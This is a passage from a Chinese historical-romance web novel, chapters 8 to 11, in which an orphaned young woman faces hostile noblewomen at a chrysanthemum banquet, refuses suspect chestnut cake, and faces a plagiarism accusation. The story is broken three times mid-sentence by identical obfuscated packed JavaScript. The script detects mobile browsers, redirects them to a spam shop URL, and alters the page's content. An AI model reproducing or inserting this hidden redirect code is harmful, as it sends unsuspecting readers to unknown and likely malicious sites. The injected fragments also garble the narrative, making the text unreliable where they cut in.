那叫玉儿的少女便微微屈膝，应了声，“是，母亲，”抬起眼，目光在姚知韫的脸上扫了一眼，她微微扬着下颌，和脖颈拉出一道纤细而紧绷的弧线，是一种习以为常的居高临下的姿态，语气热络的喊了一声，“姚姑娘，” 随即便引领姚知韫往里面走，一路上指着一盆绿莹莹的菊说，“这是绿牡丹”，又指着一盆金红层叠的说，“那是凤凰震羽”，语气听不出半分热爱，倒更像展示自家的库藏。 姚知韫跟在她身后半步，静静看着，这些花她的园子里都有，并不稀奇，倒是转角处那一盆墨菊，颜色沉的极正，像上好的徽墨研开了，凝在花瓣上，她不由得驻足多看了两眼。 待到宋玉疑惑的转头时，她才快走两步跟了上去。 “姚姑娘，没见过吧！那是墨菊，”宋玉顺着她方才的视线望去，语气里添了几分矜傲“是父亲特意为今日宴席，重金从江南寻来的。” 姚知韫点点头，还是忍不住回头看了一眼，心想这墨菊的种子霍抉能不能寻到？ 还未等她回神，苏姨母有些尖亮的嗓音从榭内传出来，“韫儿可算来了，我们到了姚府，风叔说你被霍提督先行一步接走了，怎么倒比我们还慢了一步？” 随即不等姚知韫回话，便不由分说地把冯嘉唤了过来，“嘉儿，快来，你表妹来了，她第一次参加这样的宴会，人生地不熟的，你可要照顾好了，”她话说的又快又响，带着几分理所当然的喧宾夺主，她却浑然不觉。 姚知韫不是头一回见冯嘉，人一出来，她便认出来了，人也长得俏，瓜子脸，大眼睛，看人时眼珠子骨碌碌转，瞧着灵动，可被那含着掂量算计的光给破坏了。 冯嘉今日穿着石榴红遍地金的衫子，配上一条墨绿色的裙子，颜色有些扎眼。 她看着姚知韫，面上是亲热的，一口一个“韫妹妹”的叫着，可眼底的挤兑却是掩也掩不住。 水榭中的女眷听到霍提督的名讳，目光纷纷投了过来，这位朝中新贵，手握兵权，又得盛宠，是多数人拉拢的对象。 几位心思活络的夫人，便使了眼色指派自己小姐含笑地围拢上来，这个说着“姚姑娘生的真好”，那个赞“这身料子真是雅致”，一时间，竟有了几分众星捧月般的热闹。 姚知韫被围在中间，闻着扑鼻的脂粉香、衣料香、还有园里过于浓郁的菊香，只觉得气息都有些窒住了。她微蹙了眉，看着眼前一张张热络含笑的脸，听着那些或真或假的寒暄，只觉得这热闹像一张细密的、无形的网，正缓缓地朝她罩下来。 她不习惯。 8. 栗子糕 “姑娘，霍提督说，今日出门急，您还没吃东西，让奴婢给您送来。”芙蓉不动声色地上前，将姚知韫和众人隔开来，她挡在了前面，给姚知韫生生挤开了一条路，扶着她走进水榭，找了一个角落的地方坐了下来。 姚知韫不自觉对芙蓉赞赏地点点头，不愧是霍抉的人，有眼色，有手段。 有了芙蓉的保驾护航，她倒是放松了下来，这个位置也好，能看见满园秋色，却又是个死角，只要芙蓉挡着，便没人可以靠近。 李氏在人群中穿梭着，招呼这个，照应那个，动作轻盈，仿佛如此这般殷勤周到，便能将那些夫人脸上的轻视与不屑，都忽略隔绝掉。 英国公夫人孙氏由两个丫鬟扶着，从水廊缓缓走了过来，一身酱紫的织金袍子，头上赤金点翠的金钗，在斜阳里闪着细碎而冷硬的光，她脸上挂着得体的笑，一进来便与席间的几位夫人温声寒暄，一言一行，皆是端凝气象。 孙氏一来，李氏便显出几分尴尬，她脸上的笑僵了僵，脚下也不由自主地慢了下来，却不肯退后半步。 在等级森严的大晋，妾终究是妾，即便管着家里的中馈，出了自家那道门，外人眼里认得还是正头夫人，李氏方才那番刻意营造的风光，霎时便显得有些可笑了。 孙氏与几位夫人略叙了话，目光便在水榭中扫过。随即，她声音不高不低地问了一句，那话里的急切，却与她通身的沉稳气度有些不相衬： “听说，韫儿也来了？在哪儿呢？快过来叫我瞧瞧。” 那语气，仿佛与姚知韫有多亲厚的情分似的。 姚知韫原本只静静坐在水榭一角，面前一盏清茶，看着眼前衣香鬓影、笑语喧哗，像个置身事外的看客。骤然被点了名，她眉心几不可察地轻轻一蹙，随即平复。在周遭复杂目光的聚拢下，缓缓站起身。 走到孙氏跟前，依礼屈膝，声音清清淡淡： “见过夫人。” 孙氏脸上的笑容，在姚知韫走近时，又加深了一层。 “好孩子，快起来，叫我好好瞧瞧。”她伸出手，那手保养得极好，白皙丰润，腕上带着水头十足的翡翠玉镯，绿汪汪的，她虚虚地扶了姚知韫一把。 她的目光在姚知韫的脸上细细地看，眼神温煦得如同三月的阳光，“像，真像。” 孙氏轻轻叹了一声，那叹息里满是追忆与感慨，“眉眼神韵，活脱脱是你母亲当年的模样，璟岚姐姐——，唉！去的太早了，”她说着眼圈似乎还微微地红了，忙用帕角按了按眼角。 情真意切的模样，任谁都看了都会伤感。 “这些年，你一个人，定是受了不少委屈，”她语气柔和，带着恰到好处的怜惜，“这都怪我，我是个不中用的，不能接你过府来住，”说着，眼角还若有似无的瞟向李氏。 那意味不言而喻，坐在身侧的几位夫人倒也心有戚戚焉，这大宅院里，谁家还没点糟心事，谁又会去探究真假。 “国公夫人，也是身不由己——”，说话的是一位脸如满月的夫人，说着还拭了拭眼角。 “昌平伯夫人说的是，”附和的又是一位凤眼微挑的夫人。 只是可惜了，姚知韫都不认识，她只能垂下眼眸，盯着自己的鞋尖，默默地听着这些夫人们相互寒暄。 “这次既然来了，以后只当是自己家一样，缺什么，只管同我说。”话说的滴水不漏，情意拳拳，她闻着孙氏身上传来的熏香的气味，不动声色的后退了半步，她不喜欢这个味道。 “多谢夫人关怀，”她垂下眼，又行了一礼，声音带上了几分柔弱，她本就生的柔弱，又刻意地示弱几分，更加显得她弱风拂柳。 孙氏依依不舍地攥着姚知韫的手，顺势就将手上的玉镯套在她的手上，“是我的一份心意，” 姚知韫没啥诚意的推了推，便收下了，想抽出自己的手回到角落，却被孙氏牵着坐在了她的身边。 刚坐定，便收到宋玉一记眼刀。 芙蓉无声的站在身后，给有些不自在的姚知韫多了几分安定。 孙氏依旧紧紧攥着姚知韫的手，她手微微一抬，方才搀扶着孙氏的一个绿衣丫鬟端着一个托盘，上面放着一个碟子，碟子上放着糕点，她拿起一块递到姚知韫唇边，“这是栗子糕，是你母亲最爱吃的，你也尝尝。” 姚知韫冷冷一笑，用些力气将自己的手从孙氏手中挣脱，接过糕点，转身给了身后的芙蓉。 孙氏眼底的冷光一闪而过，若不说为了平儿，谁会注意到她一个孤女，今日过后她入英国公府为妾，只要进了门，她是死是活不过是一句话的事，想到这里，孙氏又沉入一片温煦的柔波。 “这栗子糕是我亲手所作，”她说着便陷入追忆，“你母亲从前极爱这一口，还特意问我要了方子，说回家也叫厨子学着做，”她说着，笑吟吟的招呼着身边的几位夫人，“都尝尝，不是什么金贵东西，只是听说今日韫儿来了，我便想起这栗子糕，亲自做了想给韫儿尝尝。” 几位夫人自然不会拂了英国公夫人的面子，纷纷拈起一块，小口咬着，如露细品，“香甜软糯，火候正好，国公夫人好手艺，这栗子磨得真细腻。” 孙氏含着笑，目光却始终落在姚知韫的身上，那目光温温柔柔的，可却有着几分‘你若不吃，便是瞧不起我这番心意’的压力。 姚知韫记着霍抉的叮嘱，除非芙蓉给的东西不吃，这孙氏殷勤的反常，非盯着她吃这栗子糕，莫非这糕点有蹊跷？可见那几位夫人吃了并无异样，心下也泛起疑惑。 正在思忖间，孙氏亲自又拿起一块，递了过来，那栗子糕做的小巧精致，金黄的糕体上还点着红丝，看着诱人，那股腻人的甜香，直往鼻子里钻。 姚知韫心底泛起了不悦，她抬起眼，看着孙氏那张堆满和善笑容的脸，忽然有些厌倦。 既然如此，那就不要怪她不客气了。 她没去接糕点，只是微微起身，退后了半步，声音不高，却清清朗朗。 “国公府人怕是记差了，我母亲生来不耐栗子，沾上一口，轻则周身发疹，重则喘不过气，我——随了母亲。” 话音落下，水榭里先前那一片和乐的称赞声，戛然而止。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099272|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几位方才还夸着糕点的夫人，面面相觑，神色间都透出几分尴尬的讪讪来。 这可有意思了。 方才说的仿佛和苏璟岚亲密无间，这闺阁女子之间相交多是隐秘的，大家也不得而知，可转眼间，人家亲闺女便轻巧地点出来，人家根本吃不得栗子。 场面话大家都会说，面上的情谁也都肯做几分，即便英国公府没落，那也是国公府，瘦死的骆驼比马大，谁也不会落了国公府人的面子。 可被姚知韫这般当面戳穿的，还是头一遭。 偏偏这姚知韫一脸的懵懂，安安静静的立在那里，眉眼低垂，神色淡然，仿佛全然不知自己这番话，在这看似平静的贵妇圈，投下了一颗不大不小的石子。 都是大宅院里出来的，心下到底是什么心思，谁还能不知道，一个无人教养的孤女，哪里能懂得这些言语之间来往的算计，怕不是天真烂漫，想到什么便说什么。 如此这般想着，倒让席间几位心肠软些的夫人，看向姚知韫的目光里，不由自主地便添上了几分真切的怜爱来。 孙氏脸上的笑容，像冬日窗上的冰花，看着还在，内里的热气却已散尽了，她捏紧那块栗子糕的手，缓缓收了回去，指尖有些发白。 “许是我记差了，” “韫妹妹不喜欢吃，我倒是馋得紧呢，” 冯嘉几步上前，身子一旋，便轻盈地坐在了方才姚知韫坐的位置上，亲热地挽住孙氏的手臂，摇了摇，声音甜滋滋的，“夫人这好手艺，可不能浪费了，不如——赏给我？” 有了台阶，孙氏的脸色也缓和了几分，她顺势抬手，用指尖虚点了点冯嘉的额头，语气带着长辈对晚辈的嗔怪与纵容。 “你啊——喏，拿去吧！”便将糕点放在了冯嘉手上。 一场无形的风波，就这么被冯嘉化解了，姚知韫倒是开始重新审视她的这位好表妹了，竟然还有这么一面。 姚知韫趁机悄无声息地退回原来那个不起眼的角落，重新坐下来，依旧做一个安静的看客，芙蓉无声的递上一盏热茶，她接过，指尖感受到瓷壁传来的暖意，心里那点不悦便被这暖暖的温度压了下去，她转头朝着芙蓉笑了笑。 芙蓉弯下腰低声地说，“姑娘手上已经有个镯子了，不如将孙夫人赏赐的先交予奴婢。” 姚知韫一怔，却也并未深究，轻轻那只镯子摘下，递给了芙蓉。 暮色四合，在水廊上映出一道道斑驳的影子，花给这光一照，黄的更暖，白的更柔，那几盆稀罕的墨菊，竟泛起一层极淡的紫金色光晕，神秘又矜贵。 喧闹的人声，酒菜的香气，丝竹隐隐的调子，席面便在这光影与声色交融中，缓缓铺开，冷蝶先上，切的飞薄的鹅肉，乌油油的熏鱼，切的细细的海蜇，嫩生生的盐水笋尖——。 赏菊宴自然少不了菊花，不是看的，是吃的，鲜菊花瓣，洗的透凉，盛在白瓷碟里，边上隔着绵白糖，这是雅事，叫“餐英”，只是那花开的太好，让人舍不得下筷。 水榭里的夫人小姐们，便也三三两两的聚在一起。 9. 墨菊 男宾这边的水榭，另有一番气象。 霍抉被让在上首，与英国公宋昭并席而坐，他今日穿着玄色暗云纹的锦袍，腰束玉带，坐在那里，不露锋芒，却自有压得住场子的沉静。 宋昭是主，话自然多些，他堆着笑，亲自执壶，为霍抉斟酒，嘴上说着无非是“侯爷镇守北境，劳苦功高”、“今日寒舍蓬荜生辉”一类的场面话，旁边自然也有人附和。 霍抉只是偶尔点一下头，端起那甜白釉的酒杯，沾一沾唇，他的目光越过一池秋水，遥遥地投向对岸，虽然看不真切，可他知道她在那边，他垂下眼，掩去一片柔情。 有些年轻些的官员，大约是初见这等阵仗，又想奉承，起身敬酒时说了句话，“提督大人文武双全，实乃国之栋梁，下官——” 话未说完，霍抉抬眸看了他一眼。 那眼神很平静，没什么情绪，可被看着的人，却莫名觉得喉头一紧，后面的那些奉承话，一个字都吐不出来，只能讪讪地将杯中的酒一饮而尽，坐了回去。 席间的热闹，微妙地静了一瞬，宋昭脸上的笑，似乎也僵了僵，忙又举起杯，打着哈哈岔开话头，霍抉也便顺势移开目光，依旧是那副不咸不淡的模样。 直到——，管家匆忙来禀，“二皇子赵赫轩到了，” 宋昭拭去额角细密的油汗，慌乱地站起身，只匆匆朝席间拱了拱手，便急急撩袍迎了出去。 却没有看到霍抉那半垂的眼帘下，眼底倏然涌起的，又被他强行按捺下去的暗潮，如深冬河床底下凝注的冰。 霍抉指节分明的手指，在光滑的杯壁上轻轻摩挲，那甜白釉的瓷胎，触手生凉。 直到远处光影一晃，一行人簇拥着一位锦衣青年走了进来，霍抉的指尖几不可察地收紧了些。 二皇子赵赫轩走进水榭，众人齐刷刷地起身见礼，拱手见礼，“见过殿下，”声音参差不齐，却都透着恭谨。 他今日穿了身宝蓝闪缎螭纹袍，行动间光华流转，如暗夜星河，腰间金镶墨玉带，佩一柄象牙为骨，苏绣为面的折扇，唇角噙着三分笑，言辞恳切，如沐春风。 霍抉也跟着站起身，只是他挺直的腰背，却没有丝毫的敬意，他脸上没什么表情，遥遥地举起杯，算是见了礼。 霍抉侧身让了两步，做了一个请的姿态，将二皇子让到了上座，依次地自然也就坐在了英国公宋昭的位置上。 宋昭已经命人换了新的茶盏，霍抉端起来就着氤氲热气，看着众人脸上的转换的神情，最后落在宋昭的脸上，那殷勤的笑容显得过于热切了。 看来，二皇子一来，有些人的心思便又动了。 如今皇上年纪大了，膝下五位皇子，除了三皇子与五皇子尚幼，二皇子和四皇子可都是崔贵妃所出。崔贵妃的娘家，是东河崔氏，百年清贵世家，门生故旧遍天下，背后站的是成千上万的读书人。而太子那头，外家秦氏根基却不深。 当年德盛帝本不是先帝属意的太子，娶的正妻，是礼部仪制司一位秦主事家的姑娘。后来皇子们争得头破血流，死的死，残的残，倒让德盛帝安安稳稳捡了皇位。登基后，他与皇后情谊深厚，秦氏自然成了皇后，秦家也就此飞黄腾达，一路做到了如今的吏部尚书。 为了安抚世家，德盛帝又封了崔家女儿为贵妃。 如此一来，太子虽占了长的名分，母家却势弱，二皇子贤德之名在外，身后又是东河崔氏那样盘根错节的世家，这皇位到底花落谁家，亦未可知。 赵赫轩脸上的笑意，像春阳又暖了三分，他排开众人，径直朝霍抉走来。 “霍提督，”他在霍抉面前站定，清音清朗润泽，“久仰大名，今日得见，果然风采非凡。” 面上不显，可心头转的却是另一番念头。 这个霍抉，回京便封了赤衣侯，本以为是父皇有意收拢兵权，给个清贵的爵位，放在眼皮子底下亮起来，谁承想，眼巴巴把京营提督职权交给他。 京营那是什么地方，天子脚下最要紧的刀把子。 这下，原先那些等着看笑话的，或趁机拉拢示好的人，心里都打起了鼓。 他自然也是动过心思的，他虽然背靠苏家，手上却没有兵权，这样一个人，若能收为己用，必定是如虎添翼。 可这霍抉，除了进宫谢恩，便躲在姚府不出门，任谁递了帖子都不见，水泼不进，针插不入。 只是没想到，今日他竟然来了英国公的赏菊宴，赵赫轩旋即改了行程，也跟着来了。 心底那点招揽之意，终究藏着几分审视。 这是一把好剑，可用不好，也是会伤手的。 霍抉和二皇子相继到来，像两剂强心药，注进宋昭的筋骨里。 他此刻脸上泛着红润，说起话来腰板也直了起来，来回的张罗。 外头水廊上，那些文人墨客围着宋平，你一句我一句，将宋平写下的那首咏菊的诗，夸得天上少有，人间绝无，宋平负着手，下巴微微仰着，听得受用，身上的得意劲，从眼角眉梢漫出来，藏也藏不住。 赏菊宴过半，人也热络起来。水榭里的人便三三两两，散到了园子里。说是赏菊宴，真正看菊花的人不多，无非是各家夫人之间相看，亦或是展现自己姑娘公子的才情，博个好名声。 怕只有姚知韫心里惦着的，是转角处那盆墨菊。方才远远一瞥，那颜色沉得有些心事似的，挠得她心痒。 她朝芙蓉递了个眼色，主仆二人便悄没声地离了席，径直奔着那盆墨菊而去。 此刻的“澹圃”，才算真正活泛起来。暮色是摊得越来越匀了，像有人在天边研了一砚上好的赭石，又兑了水，一层层洇过来。光变得温暾，落在花上、叶上、人的衣角上，都镀着一层毛茸茸的金边。 只是她并未在来时的转角处看见那盆墨菊，略显失望的转身，却恰好碰上了冯嘉。 “韫妹妹，多日不见，愈发明艳了。”冯嘉端着一副姐姐的姿态，上前亲热地搀扶住姚知韫的手臂。 “冯小姐，”姚知韫淡淡地打了招呼，用了些力气从冯嘉手中抽回自己的手臂，退了一步，稍稍拉开距离。 冯嘉并不觉，却是又上前了一步，“韫妹妹手上的镯子真好看——。”说着，目光却是盯在了姚知韫的手腕，那目光闪烁的贪婪与苏姨母如出一辙。 姚知韫冷冷一笑，方才冯嘉那么轻易地便将孙氏的尴尬化为无形，她以为是转了性，如今看来，并没什么变化。 她不说话，就静静地看着冯嘉，看她还能说些什么？ “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099273|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫妹妹，我——我只是看着你和镯子少见，便想看看，”说着拿着帕子拭了拭眼角并不存在的眼泪，语气委委屈屈。 “姚小姐怎的这么小家子气，不过是一个镯子，便是送了又如何？”说话的是宋玉，身后还跟着几个不认识的小姐。 宋玉早就看姚知韫不顺眼了，抓到个机会便想给她些难看，凭什么她才是英国公府的小姐，姚知韫一来便抢走了她所有的风头，就连孙氏也高看她一眼，她每日里都给孙氏请安，也不见她送一个好看的玉镯给她。 姚知韫心下有些不耐烦，但也知道这样的场合若不说些什么，往后这些小姐们还不知道要如何编排她，装弱谁不会？更何况她本就生了一副柔弱之姿。 她微微垂眸，轻轻蹙眉，怯怯的往后退了半步，手抚上了腕间的镯子，“表姐，这镯子是家母遗物，我日夜戴在手上，以慰思念，”她刻意把声音放轻，却足以让逐渐聚拢过来的各家小姐们听得清楚。 “若嘉表姐想要，我便将今日国公夫人赏赐送给你。”说完，她还为难的轻咬下唇，低低的唤了一声，“芙蓉——” 芙蓉上前将袖中那只玉镯拿出，放在姚知韫手上。 姚知韫接过双手奉到冯嘉面前，她的这个位置是个转角，后面通往的是男榭，那些小姐来的方向恰好在冯嘉和宋玉的身后，冯嘉自然是看不见的。 冯嘉便也不客气的拿了，宋玉嘴角撇了撇，看向冯嘉的目光便多了鄙视之色。 身后有位身着鹅黄色衫子配碧青色百褶裙的女子，缓缓开口，声如黄莺，下巴高高扬着，“也不知道姑母都请了些什么人来，个个小家子气，不过是个镯子，也值得你们抢来抢去的。” 冯嘉听到声音转过身，本想反驳的话登时收了回来，这是昌平伯府的嫡小姐孙颖，也是国公府夫人孙氏的亲侄女，更是四皇子妃的妹妹。 “孙姑娘。”冯嘉喃喃地行了礼，拿在手上的镯子，戴也不是，还也不是，闹了个大红脸。 只是那孙颖并未看她，扬着下巴绕过她，便被跟来的那些小姐们簇拥着，径直往前走去，也没看谁一眼。 姚知韫心下感叹，果然，这小姐之间的争斗，也不是她能参与的，心思不知道打了多少个弯，想着这些，便垂了头，在那位孙小姐经过的时候微微侧了身。 姚知韫看人离开，也并不想与冯嘉、宋玉过多的纠缠，便示意芙蓉离开，被人这么一搅和，她也没了看花的兴致。 也就顺着水廊悠闲地散着步，看到喜欢的便驻足欣赏，主仆二人走走停停，倒也不觉得无聊。 走着走着，姚知韫却在一道月洞门旁的青石上，寻到了那盆墨菊，也不知道谁竟然将它搬来这里。 它被单独安置在一方皱透的瘦石上，她便紧走了两步，立在那盆墨菊旁，近看，那花瓣并非纯黑，是极深极浓的绀紫，边缘泛着一丝幽微的暗蓝。 她微微倾身，几乎屏住呼吸，任由那冷冽的略带药香的香气丝丝缕缕萦绕鼻尖。 “玄霜冷渍丹砂色，曾借朝阳变赤螭”，姚知韫不自觉念着，头也没回，“芙蓉，好看吗？” 未等到芙蓉的回答，却听到一道清润的声音自身侧响起，“好诗，姑娘如此喜爱墨菊，不如本王向国公讨来赠与姑娘，如何？” 10. 二皇子 姚知韫直起身，侧过看去，便看到一个气宇轩昂的男人正负手过来，含笑端详那盆墨菊，唇角的笑意，温煦妥帖，无懈可击，心下暗忖，自称本王，想来是哪位皇子。 她垂下眼睫，依礼微微一福，“见过殿下。”看他正欲招手，便温声制止，“不过是它的颜色特别些，少见罢了。”她无意攀谈，只盼着这客套话快些结束。 说罢，便福身施礼准备离开。 “姑娘刚才咏的诗句，不凡，不知道姑娘如何称呼？”赵赫轩目光从花移到她脸上，心下多了几分好奇，他还是第一次遇到对他不耐烦的姑娘。 未等到姚知韫开口，霍抉走了过来。 他没有看那盆墨菊，甚至没有先向二皇子行礼，目光先是落在姚知韫身上，将她从头到脚极快地扫了一遍，确认她无恙，才侧身，朝着赵赫轩的方向略一拱手，姿态恭敬，语气却疏淡得很，“殿下。” 赵赫轩脸上的笑容似乎深了些，眼底却掠过一丝审视，“霍提督也喜欢这盆墨菊？”他话里有话，目光在霍抉与姚知韫之间不动声色地打了个转。 原来，这位便是大家讨论的那位姚府孤女？ 霍抉没有接话，径直走到姚知韫身侧，距离近的能闻到他身上淡淡的皂角味。 “风大，”他开口，是对姚知韫说的，声音低沉，“别着凉了。” 姚知韫眉间微蹙缩，他这语气太过自然，全然不顾旁边站着别人，她能感觉到周围人的目光纷纷落在她的身上。 “不碍事，”她垂下眼，声音带上一丝紧绷。 “霍提督真是细心，”赵赫轩适时开口，笑意温文，“姚姑娘有长辈如此照拂，实在令人心安。” “长辈”二字，他咬得清晰而温和。 霍抉隐在衣袖中的手顿了一下，他缓缓转过身，正面看向赵赫轩，暮色将他深刻的眉眼笼罩在阴影里，只余下那双眼睛，如寒潭映星，平静无波，却深不见底。 “殿下说的是，”霍抉的声音听不出情绪，“韫儿父母早逝，”他继续道，目光却是看向四周聚拢过来的人，“霍某受托看顾，不敢有丝毫怠慢，只是霍某一走七年，却是没尽到看顾职责，心下已是满腹愧疚，如今得圣上体恤，终于回京，自然要多照看些她” 赵赫轩脸上的笑容不变，眼神却微微凝了凝，霍抉这话滴水不漏，反倒是把看顾这事放在了明面上，明白的告诉众人，姚知韫是他要护着的，若是想打什么主意的，还请自行掂量。 “原来如此，霍提督高义。”赵赫轩既然有意拉拢，又怎么会得罪霍抉，自然是从善如流，“以后姚姑娘有霍提督护着，也是有了倚靠，想来姚将军泉下有知，也能安心了。” 既然霍抉想护着这个孤女，他又何妨推波助澜一把，左右不过一个孤女罢了，若是霍抉愿意承他的情，他又何乐而不为。 “本王恰好也在江南寻得几株墨菊，若是姚姑娘喜欢，便送与姚姑娘。” 姚知韫尚未开口，霍抉已淡然接了过去，“不劳烦殿下费心，我已经着人去寻了，想来不日便能送到京城。” 拒绝的干脆利落，毫无转圜，甚至隐隐有“我的人，我管”的意味。 空气有那么一瞬的凝滞，水声、远处模糊的笑语、风过菊叶的沙沙声，都变得清晰起来。 姚知韫夹在这无声的角力之间，袖中的手微微收紧，她抬起眼，目光清澈的看向那盆墨菊，“这花颜色虽好，却太孤寂了些，你们看那边那丛“金背大红”，开的多热闹圆满。” 她将话题轻巧地引回花本身，像一个不谙世事，只关心眼前景致的少女。 赵赫轩深深看了她一眼，笑意重新漫上眼角，“姚姑娘说的是，赏花当赏其百态，”他顺势转身，仿佛真的被那朵花吸引。 既然二皇子已经把话题引到了花上，其他的人，便也不会再关注霍抉对姚知韫的行为了。 “姑娘如此爱花，不如让国公设个彩头，大家诗词歌赋论上一番，若姑娘能拔得头筹，便将这墨菊相赠，”赵赫轩说完才转过身看向宋昭。 宋昭疾走两步上前，那里敢有不应的道理，“凭二皇子作主，” 姚知韫刚想拒绝，却听见后面附和声，众人跃跃欲试，她出口拒绝就扫兴了，便将话咽下，看看热闹就好。 宋昭一声令下，便有仆人上前摆好了书案，男女宾席各设一书案，并排而立，书案上笔墨纸砚都是上品。 “金蕊半含昨夜雨，瘦枝已负十分秋”。 “我与南山皆过客，共君一醉一秋深”。 “抱香死何惧？骨立秋风前”。 文人墨客怎么能不附庸风雅，纷纷上前抒写胸臆，这一点上姚知韫不得不佩服这些人，她就算是读了那么书，也写不出如此美意的诗句来。 诗是男宾的主场，而女宾的画作也是自成一番清致，几位小姐画法不一，或是勾勒填彩，或是泼墨写意，也有写着前朝徐熙‘没骨’一路，直接用色点染。 而孙颖笔下则是一幅折枝菊，斜斜的伸出来，花是复瓣，重重叠叠，用的是藤黄调了少许赭石，颜色便不那般跳，沉静里透出暖意，像是秋阳晒透了的样子。最妙是那花瓣，不是一笔一笔死板地勾，是用笔尖蘸饱了色，顺着瓣儿的势，轻轻一点、一顿、再一拖，那瓣儿便有了肉，有了筋，仿佛指头一碰，能觉出那绒绒的、软软的质感来。 画旁还题了两行小楷，写着“金英晚节香”，字用的是卫夫人体，秀逸里带着筋骨。 “这黄釉的真好，不艳，不俗——”，一位秋香色衫子的夫人点头赞着，“不愧是得王夫人真传。” 另一位也附和着，“难得是这姿态，有风致，看着是静的，里头又透着活气。” 孙颖站在一旁，脸上淡淡的，没什么得意神色，可眼神却很清亮，看着自己的画，听着那些赞美，想来也是欢喜的。 姚知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099274|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫也远远的看了一眼，心下对这个孙小姐生了几分兴趣，能画出如此风骨，和那些只会涂脂抹粉、搬弄口舌的庸俗闺秀到底不同，笔下是有东西的，那画里的孤峭，和她扬着下巴的模样，这姑娘骨子里藏着傲气和不屑，是个心里有乾坤的。 孙颖，昌平伯府的嫡长女，国公夫人孙氏的侄女，倒是和孙氏性情相去甚远，能养出这般女儿，那位昌平伯王夫人怕也是个妙人。 “姚姑娘，不去试试？”赵赫轩摇着折扇，话是对姚知韫说的，眼神却若有若无的看向霍抉。 “我才疏学浅，就不凑热闹了。”姚知韫淡淡的拒绝。 赵赫轩“啪”的收起折扇，“玄霜冷渍丹砂色，曾借朝阳变赤螭，旁人咏菊只道它孤高，姑娘这两句却是写出了它骨子里的峥嵘，更是给它赋予了风云暗涌，实在难得。” 姚知韫在心底翻个白眼，这哪里是她写的，这是人家郑板桥的名句，她不过是改了两个字，应个景罢了。 指尖无意识地跳了一下，心下有些懊恼，早知道就不出这个头了。 “姚姑娘，这诗怕不是从哪里抄来的吧！”宋玉的声音本就有着女子的清脆，这会又刻意拔高，听起来便有些刺耳。 “宋姑娘，”冯嘉急急上前半步，声音又软又糯，还带着一丝恰到好处的惶急，“韫妹妹从小一人长大，哪有什么进学的机会，若是有什么不妥，我这里替她向各位致歉了，” 冯嘉这话说的精妙，既点明了姚知韫孤女无学的“事实”，又不动声色地，更是把那“抄袭”的嫌疑坐实了。 姚知韫抬手，指尖轻轻揉了揉额角，她有些倦了，从进了这府邸，就没消停过，她本不欲争锋，由着他们说去，又不会少块肉。 霍抉垂下的眼眸中翻涌的冷意无人能见，指尖在膝头轻叩一下，可坐在旁边的姚知韫却是感受到了。 她不着痕迹地摇摇头表示，她并不在意，也不需要他来出头，况且，一个大男人下场和几个小姑娘撕扯，赢了也会落人口舌，更何况他如今还在风口浪尖上，那些御史台的大夫可都盯着。 她想着只要不吭声，他们说两句觉得无趣，这事便也会不咸不淡的过去了。 只是方才附和着夸奖孙颖画作、穿着墨绿色的广袖罗衫的夫人，却慢悠悠的开口，声音不高，却带着些唏嘘。 “想当年姚将军的字笔走龙蛇，字如其人，苏夫人更是难得的咏絮之才，锦心绣口，姚姑娘若是藏拙，我们自然不好说什么，只是——，”她顿了顿，目光落在姚知韫的脸上，又飘开，“以后姚姑娘行事还是谨慎些，可别辱没了门庭。” 院子里静了一霎，风从水面上过来，凉凉的，垂得人衣袂微微飘动。 姚知韫一直半垂着的眼睫，缓缓抬了起来，编排她也就罢了，她只当耳旁风，可牵扯到她爹娘，更是牵扯到爹娘的教养门风，不行。 她这人，旁的都好说，但护短护得紧。 11. 陷害 姚知韫站起身冷冷地望过去，那位讲话的夫人，下意识地瑟缩了一下。 霍抉压低了声音提醒道，“那位是翰林院修纂傅铎的妻子，礼部仪制司郎中钱尚余的女儿，” 仪制司郎中？正五品，虽然官阶不大，却掌管着国家的礼制中枢，甚至科考命脉，实打实的掌权部门，难怪一个五品官夫人，敢在国公府如此讲话。 姚知韫心下有了底，也不多说，只是缓步上前，在女宾用的书案前站定。 砚里的墨是现成的，磨得匀细，泛着乌沉沉的光，笔架上悬着几支笔，她顺手拈了一支狼毫，笔杆温润。 心里想着，五千年的文墨烟云，难道还压不住这一隅的秋色与人言，她不会写，还不会背吗？ 心定了，手下便稳了。 略一沉吟，提笔运墨，不是女子常写的簪花小楷，也不是规整的馆阁体，是行草，笔走起来，竟有些飞扬的意味。 “待到秋来九月八，我花开后百花杀。冲天香阵透晋安，满城尽带黄金甲。” 写罢，自己看了看，竟然也能看出金戈铁马的意味来，刚想搁笔，眼角余光却在瞥见那位钱夫人脸上淡淡的讽意。 